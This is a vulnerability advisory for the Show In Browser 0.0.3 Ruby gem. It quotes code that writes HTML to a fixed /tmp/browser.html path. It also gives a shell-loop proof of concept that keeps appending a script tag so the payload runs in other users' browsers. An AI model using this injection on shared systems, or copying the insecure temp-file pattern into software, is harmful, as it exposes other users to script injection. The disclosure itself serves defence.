TITLE: &#65279;Show In Browser 0.0.3 Ruby Gem /tmp file injection vulnerability&#65279; DATE: 5/15/2023 AUTHOR: Larry W. Cashdollar (@_larry0) DOWNLOAD: https://rubygems.org/gems/show_in_browser DESCRIPTION: Opens arbitrary text in your browser VENDOR: Jonathan Leung FIX: N/A CVE: TBD DETAILS: The following code uses the temporary file "/tmp/browser.html" insecurely. 2 FILE_LOCATION = "/tmp/browser.html" 3 4 class << self 5 6 def show(html) 7 file = File.open(FILE_LOCATION, 'w') 8 file.write(html) 9 file.close 10 11 `open #{FILE_LOCATION}` By a malicious user creating /tmp/browser.html first and repeatedly writing to it they can inject malicious html into the file right before it is about to be opened. PoC: nobody () pitter:/$ while (true); do echo "<script> alert('Hello'); </script>" >> /tmp/browser.html; done Will pop up a java script alert in other gem users browser.